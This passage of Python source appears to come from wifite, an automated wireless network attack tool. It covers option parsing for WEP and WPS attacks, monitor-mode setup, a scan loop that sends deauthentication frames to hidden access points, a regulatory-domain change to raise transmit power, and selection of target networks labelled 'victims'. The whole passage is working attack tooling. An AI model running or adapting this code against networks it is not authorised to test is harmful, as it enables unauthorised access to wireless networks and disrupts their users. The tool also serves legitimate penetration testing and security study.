  692. wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
  693. dest='arpreplay')
  694. wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
  695. dest='arpreplay')
  696. wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
  697. dest='fragment')
  698. wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  699. wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
  700. dest='caffeelatte')
  701. wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
  702. dest='caffeelatte')
  703. wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  704. wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  705. wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  706. wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  707. wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
  708. action='store_true', dest='fakeauth')
  709. wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
  710. dest='fakeauth')
  711. wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
  712. dest='wepca')
  713. wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  714. wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
  715. action='store', dest='wepsave')
  716. wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
  717. # set WPS commands
  718. wps_group = option_parser.add_argument_group('WPS')
  719. wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
  720. dest='wps')
  721. wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  722. wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
  723. wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store', dest='wpst')
  724. wps_group.add_argument('--pixiet', help='Max wait before giving up on PixieDust attack (0: never).', action='store', dest='pixiet')
  725. wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  726. wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
  727. dest='wpsratio')
  728. wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  729. wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
  730. action='store', dest='wpsretry')
  731. wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  732.  
  733. return option_parser
  734.  
  735. def upgrade(self):
  736. """
  737. Checks for new version, prompts to upgrade, then
  738. replaces this script with the latest from the repo
  739. """
  740. try:
  741. print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W
  742. print GR + ' [+]' + W + ' checking for latest version...'
  743. revision = get_revision()
  744. if revision == -1:
  745. print R + ' [!]' + O + ' unable to access GitHub' + W
  746. elif revision > self.REVISION:
  747. print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W
  748. print GR + ' [-]' + W + ' revision: ' + G + str(revision) + W
  749. response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ')
  750. if not response.lower().startswith('y'):
  751. print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W
  752. self.exit_gracefully(0)
  753. return
  754. # Download script, replace with this one
  755. print GR + ' [+] ' + G + 'downloading' + W + ' update...'
  756. try:
  757. sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  758. page = sock.read()
  759. except IOError:
  760. page = ''
  761. if page == '':
  762. print R + ' [+] ' + O + 'unable to download latest version' + W
  763. self.exit_gracefully(1)
  764.  
  765. # Create/save the new script
  766. f = open('wifite_new.py', 'w')
  767. f.write(page)
  768. f.close()
  769.  
  770. # The filename of the running script
  771. this_file = __file__
  772. if this_file.startswith('./'):
  773. this_file = this_file[2:]
  774.  
  775. # create/save a shell script that replaces this script with the new one
  776. f = open('update_wifite.sh', 'w')
  777. f.write('''#!/bin/sh\n
  778. rm -rf ''' + this_file + '''\n
  779. mv wifite_new.py ''' + this_file + '''\n
  780. rm -rf update_wifite.sh\n
  781. chmod +x ''' + this_file + '''\n
  782. ''')
  783. f.close()
  784.  
  785. # Change permissions on the script
  786. returncode = call(['chmod', '+x', 'update_wifite.sh'])
  787. if returncode != 0:
  788. print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W
  789. self.exit_gracefully(1)
  790. # Run the script
  791. returncode = call(['sh', 'update_wifite.sh'])
  792. if returncode != 0:
  793. print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W
  794. self.exit_gracefully(1)
  795.  
  796. print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again'
  797.  
  798. else:
  799. print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W
  800.  
  801. except KeyboardInterrupt:
  802. print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W
  803. self.exit_gracefully(0)
  804.  
  805.  
  806. class RunEngine:
  807. def __init__(self, run_config):
  808. self.RUN_CONFIG = run_config
  809. self.RUN_CONFIG.RUN_ENGINE = self
  810.  
  811. def initial_check(self):
  812. """
  813. Ensures required programs are installed.
  814. """
  815. airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  816. for air in airs:
  817. if program_exists(air): continue
  818. print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
  819. print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
  820. print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W
  821. print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
  822. self.RUN_CONFIG.exit_gracefully(1)
  823.  
  824. if not program_exists('iw'):
  825. print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
  826. self.RUN_CONFIG.exit_gracefully(1)
  827.  
  828. printed = False
  829. # Check reaver
  830. if not program_exists('reaver'):
  831. printed = True
  832. print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
  833. print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W
  834. self.RUN_CONFIG.WPS_DISABLE = True
  835. elif not program_exists('walsh') and not program_exists('wash'):
  836. printed = True
  837. print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W
  838. print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W
  839.  
  840. # Check handshake-checking apps
  841. recs = ['tshark', 'pyrit', 'cowpatty', 'pcapfix']
  842. for rec in recs:
  843. if program_exists(rec): continue
  844. printed = True
  845. print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
  846. if printed: print ''
  847.  
  848. def enable_monitor_mode(self, iface):
  849. """
  850. First attempts to anonymize the MAC if requested; MACs cannot
  851. be anonymized if they're already in monitor mode.
  852. Uses airmon-ng to put a device into Monitor Mode.
  853. Then uses the get_iface() method to retrieve the new interface's name.
  854. Sets global variable IFACE_TO_TAKE_DOWN as well.
  855. Returns the name of the interface in monitor mode.
  856. """
  857. mac_anonymize(iface)
  858. print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
  859. stdout.flush()
  860. call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN)
  861. call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  862. print 'done'
  863. self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart
  864. self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  865. if self.RUN_CONFIG.TX_POWER > 0:
  866. print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  867. call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  868. call(['iwconfig', iface, 'txpower', str(self.RUN_CONFIG.TX_POWER)], stdout=OUTLOG, stderr=ERRLOG)
  869. print 'done'
  870. return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  871.  
  872. def disable_monitor_mode(self):
  873. """
  874. The program may have enabled monitor mode on a wireless interface.
  875. We want to disable this before we exit, so we will do that.
  876. """
  877. if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  878. print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
  879. stdout.flush()
  880. call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  881. print 'done'
  882.  
  883. def rtl8187_fix(self, iface):
  884. """
  885. Attempts to solve "Unknown error 132" common with RTL8187 devices.
  886. Puts down interface, unloads/reloads driver module, then puts iface back up.
  887. Returns True if fix was attempted, False otherwise.
  888. """
  889. # Check if current interface is using the RTL8187 chipset
  890. proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  891. proc_airmon.wait()
  892. using_rtl8187 = False
  893. for line in proc_airmon.communicate()[0].split():
  894. line = line.upper()
  895. if line.strip() == '' or line.startswith('INTERFACE'): continue
  896. if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  897.  
  898. if not using_rtl8187:
  899. # Display error message and exit
  900. print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
  901. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  902. self.RUN_CONFIG.exit_gracefully(1)
  903.  
  904. print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
  905.  
  906. original_iface = iface
  907. # Take device out of monitor mode
  908. airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  909. airmon.wait()
  910. for line in airmon.communicate()[0].split('\n'):
  911. if line.strip() == '' or \
  912. line.startswith("Interface") or \
  913. line.find('(removed)') != -1:
  914. continue
  915. original_iface = line.split()[0] # line[:line.find('\t')]
  916.  
  917. # Remove drive modules, block/unblock ifaces, probe new modules.
  918. print_and_exec(['ifconfig', original_iface, 'down'])
  919. print_and_exec(['rmmod', 'rtl8187'])
  920. print_and_exec(['rfkill', 'block', 'all'])
  921. print_and_exec(['rfkill', 'unblock', 'all'])
  922. print_and_exec(['modprobe', 'rtl8187'])
  923. print_and_exec(['ifconfig', original_iface, 'up'])
  924. print_and_exec(['airmon-ng', 'start', original_iface])
  925.  
  926. print '\r \r',
  927. print O + ' [!] ' + W + 'restarting scan...\n'
  928.  
  929. return True
  930.  
  931. def get_iface(self):
  932. """
  933. Get the wireless interface in monitor mode.
  934. Defaults to only device in monitor mode if found.
  935. Otherwise, enumerates list of possible wifi devices
  936. and asks user to select one to put into monitor mode (if multiple).
  937. Uses airmon-ng to put device in monitor mode if needed.
  938. Returns the name (string) of the interface chosen in monitor mode.
  939. """
  940. if not self.RUN_CONFIG.PRINTED_SCANNING:
  941. print GR + ' [+]' + W + ' scanning for wireless devices...'
  942. self.RUN_CONFIG.PRINTED_SCANNING = True
  943.  
  944. proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  945. iface = ''
  946. monitors = []
  947. adapters = []
  948. for line in proc.communicate()[0].split('\n'):
  949. if len(line) == 0: continue
  950. if ord(line[0]) != 32: # Doesn't start with space
  951. iface = line[:line.find(' ')] # is the interface
  952. if line.find('Mode:Monitor') != -1:
  953. if iface not in monitors:
  954. #print GR + ' [+] found monitor inferface: ' + iface
  955. monitors.append(iface)
  956. else:
  957. if iface not in adapters:
  958. #print GR + ' [+] found wireless inferface: ' + iface
  959. adapters.append(iface)
  960.  
  961. if self.RUN_CONFIG.WIRELESS_IFACE != '':
  962. if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
  963. return self.RUN_CONFIG.WIRELESS_IFACE
  964. else:
  965. if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  966. # valid adapter, enable monitor mode
  967. print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
  968. R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
  969. return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  970. else:
  971. # couldnt find the requested adapter
  972. print R + ' [!]' + O + ' could not find wireless interface %s' % (
  973. '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
  974. self.RUN_CONFIG.exit_gracefully(0)
  975.  
  976. if len(monitors) == 1:
  977. return monitors[0] # Default to only device in monitor mode
  978. elif len(monitors) > 1:
  979. print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
  980. for i, monitor in enumerate(monitors):
  981. print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)
  982. ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  983. (GR, W, G, W, G, len(monitors), W, G))
  984. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  985. ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  986. (GR, W, G, len(monitors), W, G))
  987. i = int(ri)
  988. return monitors[i - 1]
  989.  
  990. proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  991. for line in proc.communicate()[0].split('\n'):
  992. if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
  993. if line.startswith('phy'): line = line.split('\t', 1)[1]
  994. monitors.append(line)
  995.  
  996. if len(monitors) == 0:
  997. print R + ' [!]' + O + " no wireless interfaces were found." + W
  998. print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
  999. self.RUN_CONFIG.exit_gracefully(0)
  1000. elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  1001. monitor = monitors[0][:monitors[0].find('\t')]
  1002. return self.enable_monitor_mode(monitor)
  1003. elif len(monitors) == 1:
  1004. monitor = monitors[0][:monitors[0].find('\t')]
  1005. if monitor.startswith('phy'): monitor = monitors[0].split()[1]
  1006. return self.enable_monitor_mode(monitor)
  1007.  
  1008. print GR + " [+]" + W + " available wireless devices:"
  1009. for i, monitor in enumerate(monitors):
  1010. print " %s%d%s. %s" % (G, i + 1, W, monitor)
  1011.  
  1012. ri = raw_input(
  1013. GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1014. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  1015. ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1016. i = int(ri)
  1017. monitor = monitors[i - 1].split('\t')[1]
  1018.  
  1019. return self.enable_monitor_mode(monitor)
  1020.  
  1021. def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  1022. """
  1023. Scans for access points. Asks user to select target(s).
  1024. "channel" - the channel to scan on, 0 scans all channels.
  1025. "iface" - the interface to scan on. must be a real interface.
  1026. "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  1027. Returns list of selected targets and list of clients.
  1028. """
  1029. remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1030.  
  1031. command = ['airodump-ng',
  1032. '-a', # only show associated clients
  1033. '-w', self.RUN_CONFIG.temp + 'wifite'] # output file
  1034. if channel != 0:
  1035. command.append('-c')
  1036. command.append(str(channel))
  1037. command.append(iface)
  1038.  
  1039. proc = Popen(command, stdout=DN, stderr=DN)
  1040.  
  1041. time_started = time.time()
  1042. print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
  1043. (targets, clients) = ([], [])
  1044. try:
  1045. deauth_sent = 0.0
  1046. old_targets = []
  1047. stop_scanning = False
  1048. while True:
  1049. time.sleep(0.3)
  1050. if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  1051. print R + '\n [!] ERROR!' + W
  1052. # RTL8187 Unknown Error 132 FIX
  1053. if proc.poll() is not None: # Check if process has finished
  1054. proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  1055. if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  1056. send_interrupt(proc)
  1057. if self.rtl8187_fix(iface):
  1058. return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  1059. print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
  1060. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  1061. self.RUN_CONFIG.exit_gracefully(1)
  1062.  
  1063. (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')
  1064.  
  1065. # Remove any already cracked networks if configured to do so
  1066. if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  1067. index = 0
  1068. while index < len(targets):
  1069. already = False
  1070. for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  1071. if targets[index].ssid.lower() == cracked.ssid.lower():
  1072. already = True
  1073. if targets[index].bssid.lower() == cracked.bssid.lower():
  1074. already = True
  1075. if already == True:
  1076. targets.pop(index)
  1077. index -= 1
  1078. index += 1
  1079.  
  1080. # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  1081. if self.RUN_CONFIG.TARGET_ESSID != '':
  1082. for t in targets:
  1083. if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  1084. send_interrupt(proc)
  1085. try:
  1086. os.kill(proc.pid, SIGTERM)
  1087. except OSError:
  1088. pass
  1089. except UnboundLocalError:
  1090. pass
  1091. targets = [t]
  1092. stop_scanning = True
  1093. break
  1094. if self.RUN_CONFIG.TARGET_BSSID != '':
  1095. for t in targets:
  1096. if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  1097. send_interrupt(proc)
  1098. try:
  1099. os.kill(proc.pid, SIGTERM)
  1100. except OSError:
  1101. pass
  1102. except UnboundLocalError:
  1103. pass
  1104. targets = [t]
  1105. stop_scanning = True
  1106. break
  1107.  
  1108. # If user has chosen to target all access points, wait 20 seconds, then return all
  1109. if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  1110. print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
  1111. G, len(targets), W, '' if len(targets) == 1 else 's')
  1112. stop_scanning = True
  1113.  
  1114. if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  1115. # Remove targets with power < threshold
  1116. i = 0
  1117. before_count = len(targets)
  1118. while i < len(targets):
  1119. if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1120. targets.pop(i)
  1121. else:
  1122. i += 1
  1123. print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
  1124. (G + str(before_count - len(targets)) + W,
  1125. self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
  1126. stop_scanning = True
  1127.  
  1128. if stop_scanning: break
  1129.  
  1130. # If there are unknown SSIDs, send deauths to them.
  1131. if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
  1132. deauth_sent = time.time()
  1133. for t in targets:
  1134. if t.ssid == '':
  1135. print "\r %s deauthing hidden access point (%s) \r" % \
  1136. (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
  1137. stdout.flush()
  1138. # Time to deauth
  1139. cmd = ['aireplay-ng',
  1140. '--ignore-negative-one',
  1141. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1142. '-a', t.bssid]
  1143. for c in clients:
  1144. if c.station == t.bssid:
  1145. cmd.append('-c')
  1146. cmd.append(c.bssid)
  1147. break
  1148. cmd.append(iface)
  1149. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1150. proc_aireplay.wait()
  1151. time.sleep(0.5)
  1152. else:
  1153. for ot in old_targets:
  1154. if ot.ssid == '' and ot.bssid == t.bssid:
  1155. print '\r %s successfully decloaked "%s" ' % \
  1156. (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
  1157.  
  1158. old_targets = targets[:]
  1159. if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1160. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1161. if not self.RUN_CONFIG.WPS_DISABLE:
  1162. wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
  1163.  
  1164. os.system('clear')
  1165. print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
  1166. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1167. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1168. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1169. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1170. for i, target in enumerate(targets):
  1171. print " %s%2d%s " % (G, i + 1, W),
  1172. # SSID
  1173. if target.ssid == '':
  1174. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1175. print '%s' % p.ljust(20),
  1176. elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1177. p = '<Length ' + str(len(target.ssid)) + '>'
  1178. print '%s' % C + p.ljust(20) + W,
  1179. elif len(target.ssid) <= 20:
  1180. print "%s" % C + target.ssid.ljust(20) + W,
  1181. else:
  1182. print "%s" % C + target.ssid[0:17] + '...' + W,
  1183. # BSSID
  1184. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1185. print O, target.bssid + W,
  1186. # Channel
  1187. print G + target.channel.rjust(3), W,
  1188. # Encryption
  1189. if target.encryption.find("WEP") != -1:
  1190. print G,
  1191. else:
  1192. print O,
  1193. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1194. # Power
  1195. if target.power >= 55:
  1196. col = G
  1197. elif target.power >= 40:
  1198. col = O
  1199. else:
  1200. col = R
  1201. print "%s%3ddb%s" % (col, target.power, W),
  1202. # WPS
  1203. if self.RUN_CONFIG.WPS_DISABLE:
  1204. print " %3s" % (O + 'n/a' + W),
  1205. else:
  1206. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1207. # Clients
  1208. client_text = ''
  1209. for c in clients:
  1210. if c.station == target.bssid:
  1211. if client_text == '':
  1212. client_text = 'client'
  1213. elif client_text[-1] != "s":
  1214. client_text += "s"
  1215. if client_text != '':
  1216. print ' %s' % (G + client_text + W)
  1217. else:
  1218. print ''
  1219. print ''
  1220. print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
  1221. GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
  1222. G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
  1223. G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
  1224.  
  1225. stdout.flush()
  1226. except KeyboardInterrupt:
  1227. pass
  1228. print ''
  1229.  
  1230. send_interrupt(proc)
  1231. try:
  1232. os.kill(proc.pid, SIGTERM)
  1233. except OSError:
  1234. pass
  1235. except UnboundLocalError:
  1236. pass
  1237.  
  1238. # Use "wash" program to check for WPS compatibility
  1239. if not self.RUN_CONFIG.WPS_DISABLE:
  1240. wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')
  1241.  
  1242. remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1243.  
  1244. if stop_scanning:
  1245. return (targets, clients)
  1246. print ''
  1247.  
  1248. if len(targets) == 0:
  1249. print R + ' [!]' + O + ' no targets found!' + W
  1250. print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
  1251. print ''
  1252. self.RUN_CONFIG.exit_gracefully(1)
  1253.  
  1254. if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1255.  
  1256. # Sort by Power
  1257. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1258.  
  1259. victims = []
  1260. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1261. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1262. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1263. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1264. for i, target in enumerate(targets):
  1265. print " %s%2d%s " % (G, i + 1, W),
  1266. # SSID
  1267. if target.ssid == '':
  1268. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1269. print '%s' % p.ljust(20),
  1270. elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1271. p = '<Length ' + str(len(target.ssid)) + '>'
  1272. print '%s' % C + p.ljust(20) + W,
  1273. elif len(target.ssid) <= 20:
  1274. print "%s" % C + target.ssid.ljust(20) + W,
  1275. else:
  1276. print "%s" % C + target.ssid[0:17] + '...' + W,
  1277. # BSSID
  1278. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1279. print O, target.bssid + W,
  1280. # Channel
  1281. print G + target.channel.rjust(3), W,
  1282. # Encryption
  1283. if target.encryption.find("WEP") != -1:
  1284. print G,
  1285. else:
  1286. print O,
  1287. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1288. # Power
  1289. if target.power >= 55:
  1290. col = G
  1291. elif target.power >= 40:
  1292. col = O
  1293. else:
  1294. col = R
  1295. print "%s%3ddb%s" % (col, target.power, W),
  1296. # WPS
  1297. if self.RUN_CONFIG.WPS_DISABLE:
  1298. print " %3s" % (O + 'n/a' + W),
  1299. else:
  1300. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1301. # Clients
  1302. client_text = ''
  1303. for c in clients:
  1304. if c.station == target.bssid:
  1305. if client_text == '':
  1306. client_text = 'client'
  1307. elif client_text[-1] != "s":
  1308. client_text += "s"
  1309. if client_text != '':
  1310. print ' %s' % (G + client_text + W)
  1311. else:
  1312. print ''
  1313.  
  1314. ri = raw_input(
  1315. GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
  1316. " separated by commas, or '%s': " % (G + 'all' + W))
  1317. if ri.strip().lower() == 'all':
  1318. victims = targets[:]
  1319. else:
  1320. for r in ri.split(','):
  1321. r = r.strip()
  1322. if r.find('-') != -1:
  1323. (sx, sy) = r.split('-')
  1324. if sx.isdigit() and sy.isdigit():
  1325. x = int(sx)
  1326. y = int(sy) + 1
  1327. for v in xrange(x, y):
  1328. victims.append(targets[v - 1])
  1329. elif not r.isdigit() and r.strip() != '':
  1330. print O + " [!]" + R + " not a number: %s " % (O + r + W)
  1331. elif r != '':
  1332. victims.append(targets[int(r) - 1])
  1333.  
  1334. if len(victims) == 0:
  1335. print O + '\n [!] ' + R + 'no targets selected.\n' + W
  1336. self.RUN_CONFIG.exit_gracefully(0)
  1337.  
  1338. print ''
  1339. print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1340.  
  1341. return (victims, clients)
  1342.  
  1343. def Start(self):
  1344. self.RUN_CONFIG.CreateTempFolder()
  1345. self.RUN_CONFIG.handle_args()
  1346. self.RUN_CONFIG.ConfirmRunningAsRoot()
  1347. self.RUN_CONFIG.ConfirmCorrectPlatform()
  1348.  
  1349. self.initial_check() # Ensure required programs are installed.
  1350.  
  1351. # Use an interface already in monitor mode if it has been provided,
  1352. if self.RUN_CONFIG.MONITOR_IFACE != '':
  1353. iface = self.RUN_CONFIG.MONITOR_IFACE
  1354. else:
  1355. # The "get_iface" method anonymizes the MAC address (if needed)
  1356. # and puts the interface into monitor mode.
  1357. iface = self.get_iface()
  1358. self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address
  1359.  
  1360. (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1361.  
  1362. try:
  1363. index = 0
  1364. while index < len(targets):
  1365. target = targets[index]
  1366. # Check if we have already cracked this target
  1367. for already in RUN_CONFIG.CRACKED_TARGETS:
  1368. if already.bssid == targets[index].bssid:
  1369. if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1370. print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
  1371. print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
  1372. ri = raw_input(
  1373. GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
  1374. if ri.lower() == 'n':
  1375. targets.pop(index)
  1376. index -= 1
  1377. else:
  1378. targets.pop(index)
  1379. index -= 1
  1380. break
  1381.  
  1382. # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1383. handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1384. + '_' + target.bssid.replace(':', '-') + '.cap'
  1385. if os.path.exists(handshake_file):
  1386. print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
  1387. print ' %s\n' % (G + handshake_file + W)
  1388. print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
  1389. ri = 'x'
  1390. while ri != 's' and ri != 'c' and ri != 'o':
  1391. ri = raw_input(
